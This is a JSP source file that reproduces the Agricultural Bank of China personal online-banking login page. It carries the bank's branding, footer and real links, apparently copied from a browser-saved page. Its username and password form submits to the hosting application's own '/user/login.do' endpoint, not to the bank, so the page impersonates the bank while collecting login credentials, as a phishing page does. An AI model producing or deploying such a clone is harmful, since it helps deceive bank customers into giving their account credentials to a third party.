<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%
	String path = request.getContextPath();
	String basePath = request.getScheme() + "://"
			+ request.getServerName() + ":" + request.getServerPort()
			+ path + "/";
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<meta http-equiv="x-ua-compatible" content="ie=edge">
<title>中国农业银行个人网银登录入口</title>
<link rel="icon" href="./images/logo_icon.png" type="image/x-icon"/>
<meta name="description" content="中国农业银行，个人网银，用户名登录，证书登录">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="shortcut icon" href="https://perbank.abchina.com/EbankSite/favicon.ico">
<link rel="apple-touch-icon" href="https://perbank.abchina.com/EbankSite/apple-touch-icon.png">
<link rel="stylesheet" href="css/normalize.css">
<link rel="stylesheet" href="css/main.css">
<link rel="stylesheet" href="css/login.css">
<link rel="stylesheet" href="css/jquery.qtip.css">
<script src="js/writeObjectNew.js.下载">
	
</script>
<script src="./js/jquery-1.7.1.js" language="javascript"></script>
</head>
<body>
	<div style="height:0px;">
		<object id="versionObj" type="application/npABCSafeInputApp" width="0px" height="0px" style="width:0px; height:0px;"></object>
	</div>
	<script>
		//为tab绑定的事件
		function TabMethod() {
			if ($('#m-verification-code').hasClass('hide')) {
				document.getElementById("logo").focus();
			} else {
				document.getElementById("code").focus();
			}
		}

		//为enter绑定的事件
		function ReturnMethod() {
			$('#logo')[0].click();
		}

		function ReturnMethod1() {
			$('#m-kbbtn')[0].click();
		}
		var qr = {
			qrcodeOpen : "1",
			pathData : "/EbankSite/NetBank/static/img",
			getPlattype : function() {
				return password.GetOsType();
			},
			getMacInfo : function() {
				return password.GetMachineCode('powerpass_ie', '636402377892428288');
			}
		};
	</script>
	<script type="text/javascript" for="powerpass_ie" event="EventTab">
		TabMethod();
	</script>
	<script type="text/javascript" for="powerpass_ie" event="EventReturn">
		ReturnMethod();
	</script>
	<script type="text/javascript" for="powerpass_ie1" event="EventReturn">
		ReturnMethod1();
	</script>
	<script type="text/javascript">
		function checkUsername() {
			var divEle = document.getElementsByName("uName")[0];
			var divSpan = document.getElementById("username-error");
			var regx = new RegExp("^[a-zA-Z0-9\\_\u4e00-\u9fa5]{1,}$");
			if (divEle.value != "") {
				if (regx.test(divEle.value)) {
					divSpan.innerHTML = "";
					return true;
				} else {
					divSpan.innerHTML = "用户名包含不合法字符".fontcolor('red');
					return false;
				}
			}
			divSpan.innerHTML = "请输入用户名".fontcolor('red');
			return false;
		}
		function checkPassword() {
			var divEle = document.getElementsByName("uPassword")[0];
			var divSpan = document.getElementById("powerpass_ieMsg");
			var regx = new RegExp("^[a-zA-Z0-9\\_\u4e00-\u9fa5]{1,}$");
			if (divEle.value != "") {
				if (regx.test(divEle.value)) {
					divSpan.innerHTML = "";
					return true;
				} else {
					divSpan.innerHTML = "密码输入错误".fontcolor('red');
					return false;
				}
			}
			divSpan.innerHTML = "请输入密码".fontcolor('red');
			return false;
		}

		function login() {

			if (checkUsername() && checkPassword()) {
				document.userNameForm.submit();
			}

		}
		function _change() {
			var rad = Math.floor(Math.random() * Math.pow(10, 8));
			$.ajax({
				url : '${pageContext.request.contextPath }/verifyCode.do?uuuy=' + rad,

				type : "get",
				async : false,
				success : function(obj) {

					//document.getElementById("vCode").innerHTML = obj;
					//uuuy是随便写的一个参数名称，后端不会做处理，作用是避免浏览器读取缓存的链接
					$("#code").attr("src", "<c:url value='/verifyCode.do'/>?uuuy=" + rad);
					$("#code").val("").focus(); // 清空并获得焦点

				}
			});

		}
	</script>


	<p id="favoriteTip" class="loginTip hidden">
		尊敬的客户，我行已推出新版网上银行服务。请您在此页登录使用，以享受我行全新的网上银行服务。
		<a class="tipClose">x</a>
	</p>
	<div class="g-box">
		<div id="g-mask" class="g-mask hidden">
			<div id="m-pointer" class="m-pointer" style="left: 945.741px;"></div>
			<div id="m-kbsize" class="m-kbsize" style="left: 705.741px;"></div>
			<div id="m-iknow" class="m-iknow" style="left: 715.741px;"></div>
		</div>
		<div class="g-top"></div>

		<div class="g-search"></div>

		<div class="g-logo">
			<div class="g-logo-center">
				<div class="m-logo" style="top: 10px;">
					<a href="http://www.abchina.com/">
						<img src="images/logo_ue2.png" height="" width="210" style="margin-top: 0px;" alt="农业银行">
					</a>
				</div>
				<div class="m-logo-line"></div>
				<p class="m-logo-p">个人网上银行</p>
			</div>
		</div>
		<div class="m-land">
			<div class="m-land-center">
				<div class="m-login-dialog m-userName-logon" id="commonLogin" style="height:350px;">
					<div class="m-uesrland">
						<div class="m-login-link">
							<a class="m-login-userNameLink m-login-linked" id="kBaobtn">用户名登录</a>
						</div>
						<div class="m-login-link">
							<a class="m-login-kbaoLink " id="kBaobtn">

								<font style="color: red">${msg }</font>
							</a>
						</div>


					</div>
					<div class="m-login-linked-split"></div>
					<div class="m-login-split"></div>





					<!-- 登录页面 -->
					<div id="userNameLogin">
						<form class="m-uesrform" action="${pageContext.request.contextPath }/user/login.do" id="userNameForm" name="userNameForm" method="post">
							<div class="m-uesrtxtbox" id="userDiv">
								<div class="m-uesrtxtimg"></div>
								<input type="text" class="m-uesrtxt" placeholder="用户名/卡号/身份证号/手机号" id="username" name="uName" title="只能由英文字母、数字、汉字或下划线“_”组成" style="ime-mode: inactive" autocomplete="off"
									onblur="checkUsername();" value="${sessionScope.user.uName }">

								<label id="username-error" class="error-block" for="username" style="display: inline-block;"></label>
							</div>

							<div class="m-uesrpassbox">
								<div id="PowerEnterDiv_userName" style="display: inline; margin-left: 10px;">



									<input type="text" class="m-uesrpass" placeholder="请输入密码" id="password" name="uPassword" title="只能由英文字母、数字、汉字或下划线“_”组成" style="ime-mode: inactive" autocomplete="off" onblur="checkPassword();">
									<span id="powerpass_ieMsg" class="pwdError"></span>

								</div>
							</div>

							<div class="pwdError" id="powerpass_ie_dyn_Msg"></div>
							<%--<input type="hidden" name="vcode" id="vcode" value="${sessionScope.verifycode }">
							--%>
							<div id="m-verification-code" class="m-verification-code">
								<input type="text" class="m-codetxt" placeholder="验证码" id="code" name="code" maxlength="4" autocomplete="off" style="ime-mode: disabled" value="">
								<a href="javascript:void(0);" onclick="_change();">
									<img id="vCode" src="<c:url value="/verifyCode.do"/>" width="83" height="33" alt="验证码" border="2" />
								</a>
								<label id=imgError class="error-block" for="username" style="display: inline-block;">${sessionScope.codeError }</label>

							</div>

							<input class="m-uersbtn" type="button" id="logo" value="登  录" onclick="login();">
							<div class="logon-error" style="display: none;" title=""></div>

						</form>




						<ul class="m-uesrforget">
							<li>
								<a href="<c:url value="/user/showRegisterPage.do"/>">自助注册</a>
							</li>
							<li class="m-uesrforgetline"></li>
							<li>
								<a href="https://perbank.abchina.com/EbankSite/SelfHelpCheckCustInfoResetInitAct.do">忘记密码</a>
							</li>
						</ul>
						<img class="mobile-scan-intro" src="images/mobile-scan-intro.png" style="display: none;">
					</div>
					<!-- end 登录页面 -->

				</div>
				<div class="m-login-dialog m-userName-logon hidden" id="qrcodeLogin" style="height:350px;text-align:center;overflow:hidden;">
					<div class="m-login-qrtitle">手机扫码，安全登录</div>
					<div class="m-login-qrborder">
						<img width="150" height="150" id="qrcode" data-first="1" src="https://perbank.abchina.com/EbankSite/startup.do" alt="加载中...">
						<div id="qrcodeMask" class="m-login-qrmask hidden"></div>
						<div id="qrcodeInfo" class="m-login-qrmask-info hidden"></div>
					</div>
					<!--  <div class="m-qrcode-helper">
                <img class="m-qrcode-helpimg" src="images/scan.png" width="30" height="30">
                <span class="m-qrcode-helptext" style="line-height:1em;">打开掌上银行<br>扫描二维码</span>
                </div> 
            <div>
                <a class="scan-helper" style="text-decoration:none;">使用帮助</a>
                <span class="m-login-qrhelp-split">|</span>
                <a style="text-decoration:none;" href="http://www.abchina.com/cn/EBanking/Personal/Pocketbanking/" target="_blank">下载掌上银行</a>
            </div>-->
					<form id="qrForm" name="qrForm" method="post" action="https://perbank.abchina.com/EbankSite/qrlogin.do">
						<input name="pidReq" type="hidden">
						<input name="ticketReq" type="hidden">
						<input name="codeIdReq" type="hidden">
						<input name="businessTypeReq" type="hidden">
						<input name="MachineCode" type="hidden" value="">
						<input name="MachineInfo" type="hidden" value="">
						<input name="plattype" type="hidden">
					</form>
					<img class="m-mobile-scan" width="250" src="images/mobile-scan.png" alt="qrcode-help">
				</div>
				<a id="loginChange" class="m-uesrrightcorner" href="https://perbank.abchina.com/EbankSite/startup.do###" title="切换到二维码登录">
					<img id="corner" class="m-corner" src="images/corner.png">
				</a>
			</div>
		</div>
		<%--<div class="m-servicecentre">
			<div class="m-servicecentre-center">
				<div class="m-servicecentre-title">
					<div class="m-leftspot"></div>

					<div class="m-rightspot"></div>
				</div>

			</div>
		</div>
		--%>
		<div class="g-end">
			<div class="m-end" id="footer">
				<ul class="m-endnav">
					<li class="m-endnavli">
						<a href="https://www.95599.cn/cn/PublicPlate/documents/200911/t20091130_16583.htm" target="_blank">网站声明</a>
					</li>
					<li class="m-endline"></li>
					<li class="m-endnavli">
						<a href="https://www.95599.cn/cn/PublicPlate/WebLink/websitemap/" target="_blank">网站地图</a>
					</li>
					<li class="m-endline"></li>
					<li class="m-endnavli">
						<a href="https://www.95599.cn/cn/AboutABC/ContactUs/" target="_blank">联系我们</a>
					</li>
					<li class="m-endline"></li>
					<li class="m-endnavli">
						<a href="https://www.95599.cn/cn/EBanking/CustomerServiceCenter/CustomerServiceCenter/default.htm">
							客服热线：<span>95599</span>
						</a>
					</li>
				</ul>
				<div class="m-sincerity">
					<a id="A1" href="https://credit.cecdc.com/CX20120927001787002018.html" target="_blank">
						<img src="images/index_V3_cxwz.jpg" width="90" height="32">
					</a>
				</div>
				<ul class="m-copyright">
					<li>中国农业银行版权所有</li>
					<li class="m-overline"></li>
					<li>
						<a href="https://www.miibeian.gov.cn/" target="_blank">京ICP备05049539</a>
					</li>
				</ul>
			</div>
		</div>
	</div>
	<script src="js/jquery-1.12.0.min.js.下载">
		
	</script>
	<script src="js/placeholders.jquery.min.js.下载">
		
	</script>
	<script src="js/jquery.validate.min.js.下载">
		
	</script>
	<script src="js/messages_zh.js.下载">
		
	</script>
	<script src="js/json2.js.下载">
		
	</script>
	<script src="js/browerHelper.js.下载">
		
	</script>
	<script src="js/jstorage.min.js.下载">
		
	</script>
	<script src="js/dataHelper.js.下载">
		
	</script>
	<script src="js/imageCodeVerify.js.下载">
		
	</script>
	<script src="js/preRepeSubmit.js.下载">
		
	</script>
	<script src="js/config.js.下载">
		
	</script>
	<script src="js/jquery.qtip.min.js.下载">
		
	</script>
	<script src="js/qrcode.js.下载">
		
	</script>
	<script>
		function resizeWindow() {
			//userNamebtn  kBaobtn
			var target = '#userNamebtn';
			if ($('userNamebtn').hasClass('hidden')) {
				target = '#kBaobtn';
			}
			var left;
			try {
				left = $(target).offset().left;
				if (left < 400) {
					var element = $(target).get(0);
					var x = 0;
					while (element && !isNaN(element.offsetLeft) && !isNaN(element.offsetTop)) {
						x += element.offsetLeft;
						element = element.offsetParent;
					}
					left = x;
				}
			} catch (e) {
				left = 900;
			}
			$('#m-iknow').css('left', left - 370);
			$('#m-pointer').css('left', left - 140);
			$('#m-kbsize').css('left', left - 380);
		}

		$(function() {
			if (qr.qrcodeOpen !== '0') {
				$('#loginChange').removeClass('hidden');
				$('.mobile-scan-intro').removeClass('hidden');
				$('.scan-helper').on('mouseover', function() {
					$('.m-mobile-scan').css('display', 'block').animate({
						'right' : '32px'
					}, 200, 'linear');
				}).on('mouseout', function() {
					$('.m-mobile-scan').animate({
						'right' : '-200px'
					}, 200, 'linear', function() {
						$(this).css('display', 'none');
					});
				});
				var scanIntroTimer = setTimeout(function() {
					$('.mobile-scan-intro').fadeOut();
				}, 10000);
			}
			var loginMacType = '';
			if (loginMacType === '0') {
				$('#favoriteTip').removeClass('hidden');
				$('#favoriteTip a.tipClose').on('click', function() {
					$('#favoriteTip').addClass("hide");
				});
			}
			$('#loginChange').click(
					function() {
						if ($('#corner').hasClass('qr')) {
							//切换到用户名K宝登录
							$('#corner').animate({
								'left' : '-70px',
								'top' : '0'
							}, 200, 'linear');
							$('#corner').removeClass('qr');
							$('#qrcodeLogin').addClass('hidden');
							if ($.os === "macintosh") {
								$('#PowerEnterDiv_userName').css('height', '38px');
								$('#PowerEnterDiv').css('height', '38px');
							} else {
								$('#commonLogin').removeClass('hidden');
							}
							$('#loginChange').attr('title', '切换到二维码登录');
						} else {
							//屏蔽Chrome和未安装控件的Browser
							if (typeof ($.browser.chrome) !== 'undefined' && $.browser.chrome) {
								alert('暂不支持该版本浏览器！');
							} else if (typeof (password) !== 'undefined' && typeof (password.IsInstalled) !== 'undefined'
									&& password.IsInstalled === true) {
								//切换到二维码登录
								$('#corner').animate({
									'left' : '0',
									'top' : '-70px'
								}, 200, 'linear');
								$('#corner').addClass('qr');
								if ($.os === "macintosh" || $.browser.firefox > 0) {
									$('#PowerEnterDiv_userName').css('height', '0');
									$('#PowerEnterDiv').css('height', '0');
								} else {
									$('#commonLogin').addClass('hidden');
								}
								$('#qrcodeLogin').removeClass('hidden');
								$('#loginChange').attr('title', '切换到用户名或K宝登录');
								if ($('#qrcode').attr('data-first') === '1') {
									var qrObj = {
										channel : 'MobileBank',
										businessType : 'scanlogin',
										interval : 3000
									};
									var qrOptions = {
										width : 200,
										height : 200,
										logo : 'NetBank\\static\\img\\ABClogo_white.png'
									};
									var QRLogin = new qrCode(qrObj);
									QRLogin.setOptions(qrOptions);
									QRLogin.start();
									$('#qrcode').attr('data-first', '0');
								}
							} else {
								alert('请下载最新的安全控件！');
							}
						}
					});
			$(document).bind('contextmenu', function(event) {
				if (event.preventDefault)
					event.preventDefault();
				else
					event.returnValue = false;
			});
			resizeWindow();
			$(window).resize(function() {
				resizeWindow();
			});
			//$.jStorage.deleteKey('abc_tipShielKnown');
			var isKnown = '1'; // $.jStorage.get('abc_tipShielKnown');
			if (isKnown !== '1') {
				$('#PowerEnterDiv_userName').addClass('invisible');
				$('#PowerEnterDiv').addClass('invisible');
				$('#g-mask').removeClass('hidden');
				$('#m-iknow').on('click', function() {
					$('#g-mask').addClass('hidden');
					$('#PowerEnterDiv_userName').removeClass('invisible');
					$('#PowerEnterDiv').removeClass('invisible');
					$.jStorage.set('abc_tipShielKnown', '1', {
						TTL : 31536000000
					});
					if ($.os === "macintosh") {
						$("#userNamebtn").qtip({
							content : {
								text : '苹果电脑不支持K宝使用'
							},
							show : 'click',
							hide : 'unfocus'
						});
					} else {
						$("#userNamebtn").on("click", function() {
							$("#kBaoLogin").removeClass("hidden");
							$("#userNameLogin").addClass("hidden");
							$(this).addClass("m-login-linked");
							$('.m-login-linked-split').animate({
								'margin-left' : '154px'
							}, 200);
							$("#kBaobtn").removeClass("m-login-linked");
						});
					}
				});
			}
			if ($('.logon-error').text() !== '') {
				$('.logon-error').css('display', '');
			}
			$("#kBaobtn").on("click", function() {
				$("#userNameLogin").removeClass("hidden");
				$("#kBaoLogin").addClass("hidden");
				$(this).addClass("m-login-linked");
				$('.m-login-linked-split').animate({
					'margin-left' : '24px'
				}, 200);
				$("#userNamebtn").removeClass("m-login-linked");
			});
			if ('false' === 'false' && isKnown === '1') {
				if ($.os === "macintosh") {
					$("#userNamebtn").qtip({
						content : {
							text : '苹果电脑不支持K宝使用'
						},
						show : 'click',
						hide : 'unfocus'
					});
				} else {
					$("#userNamebtn").on("click", function() {
						$("#kBaoLogin").removeClass("hidden");
						$("#userNameLogin").addClass("hidden");
						$(this).addClass("m-login-linked");
						$('.m-login-linked-split').animate({
							'margin-left' : '154px'
						}, 200);
						$("#kBaobtn").removeClass("m-login-linked");
					});
				}
			}
			var isFirst = 'false';
			if (isFirst !== "true") {
				$('#vCode').attr('src', 'LogonImageCodeAct.do?r=' + $.random());
				$('#m-verification-code').removeClass('hide');
				//$('.m-userName-logon').css('top', '10px');
			}
			$('#vCode').click(function() {
				$('#vCode').attr('src', 'LogonImageCodeAct.do?r=' + $.random());
			});

			$('#code').checkPicCode({
				infoShow : "imgError",
				target : "picCode"
			});
			var validator = $('#userNameForm').validate({
				rules : {
					username : {
						required : true,
						stringCheck : true,
						lengthRange : [ 1, 60 ],
						looseValidId18 : true
					},
					code : {
						required : false
					}
				},
				messages : {
					username : {
						required : "请输入用户名",
						stringCheck : "用户名包含不合法字符",
						lengthRange : "用户名长度不合法",
						looseValidId18 : "请输入正确的18位身份证号"
					}
				},
				onfocusout : function(e) {
					$(e).valid();
				},
				onsubmit : false,
				errorClass : 'error-block',
				invalidHandler : function(form) {
					$('#logo').preRepeSubmit("recover");
				}
			});

			$('#code').keydown(function(e) {
				if (e.keyCode === 13 && $('#code').checkPicCode('isPassed') === 'true') {
					$('#logo')[0].click();
				}
			});
			$('#logo').preRepeSubmit({
				"beingText" : "正在登录...",
				"recoverText" : "登  录"
			});
			$('#logo').click(function() {
				setTimeout(function() {

					$('#userNameForm').submit();
				}, 10);
			});

			$.directLogon = function() {
				document.getElementById("m-kbbtn").innerHTML = "正在登录...";
				setTimeout(function() {
					try {

					} catch (e) {
					}
					$("#logonForm").submit();
				}, 10);
			}

			$.logon = function() {
				document.getElementById("m-kbbtn").innerHTML = "正在登录...";
				setTimeout(function() {
					try {

					} catch (e) {
					}
					if (!password.VerifyCSPPin()) {
						document.getElementById("m-kbbtn").innerHTML = "登&nbsp;&nbsp;录";
						return false;
					}
					$("#logonForm").submit();
				}, 10);
			};
			$('#m-kbbtn').on('click', $.logon);

			var haveChanged = false;
			$.checkCsp = function() {
				password.GetCSPListLogin(function() {
					function change() {
						if (!haveChanged) {
							haveChanged = true;
							$("#kBaoLogin").removeClass("hidden");
							$("#userNameLogin").addClass("hidden");
							$("#userNamebtn").addClass("m-login-linked");
							$('.m-login-linked-split').animate({
								'margin-left' : '154px'
							}, 200);
							$("#kBaobtn").removeClass("m-login-linked");
						}
					}
					return change;
				}());
				setTimeout($.checkCsp, 3000, null);
			};

		});
	</script>


	<script>
		//    function bhCallback() {
		//        var action_id = "login";   //current page action id
		//        var elementID = document.getElementById("logo");
		//        addClickListenerToButtonById(elementID, "username", site_id, action_id, true);
		//        var elementID = document.getElementById("m-kbbtn");
		//        addClickListenerToButtonById(elementID, "username", site_id, action_id, true);
		//    }
		//    try {
		//        loadScript(bhCallback);
		//    } catch (e) {
		//    }
	</script>

</body>
<div></div>
</html>